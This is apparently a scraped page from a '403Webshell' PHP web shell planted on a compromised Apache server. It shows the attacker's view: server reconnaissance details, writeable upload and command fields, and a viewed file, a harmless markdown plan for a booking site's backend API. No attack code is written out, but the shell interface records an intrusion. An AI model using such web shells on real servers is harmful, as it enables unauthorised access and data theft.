403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/grangestation/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/grangestation/database/api-plan.md
# Suggested Backend API

When you connect the static site to MySQL, these endpoints are the useful minimum.

## Public

`GET /api/confirmed-bookings?date=YYYY-MM-DD`

Returns only confirmed bookings and public availability blocks for that date.

`POST /api/booking-requests`

Creates a new request. Server should validate every field, rate-limit by IP/email, run CAPTCHA or Turnstile, save add-ons, and send notification email.

## Owner/Admin

`POST /api/admin/login`

Creates an authenticated owner session.

`GET /api/admin/booking-requests`

Lists private requests.

`PATCH /api/admin/booking-requests/:id`

Updates request status.

`POST /api/admin/confirmed-bookings`

Adds a confirmed booking that will block the public calendar.

`DELETE /api/admin/confirmed-bookings/:id`

Cancels or removes a confirmed booking.

`GET /api/admin/vendors`

Lists preferred vendors.

`POST /api/admin/vendors`

Adds a preferred vendor.

Youez - 2016 - github.com/yon3zu
LinuXploit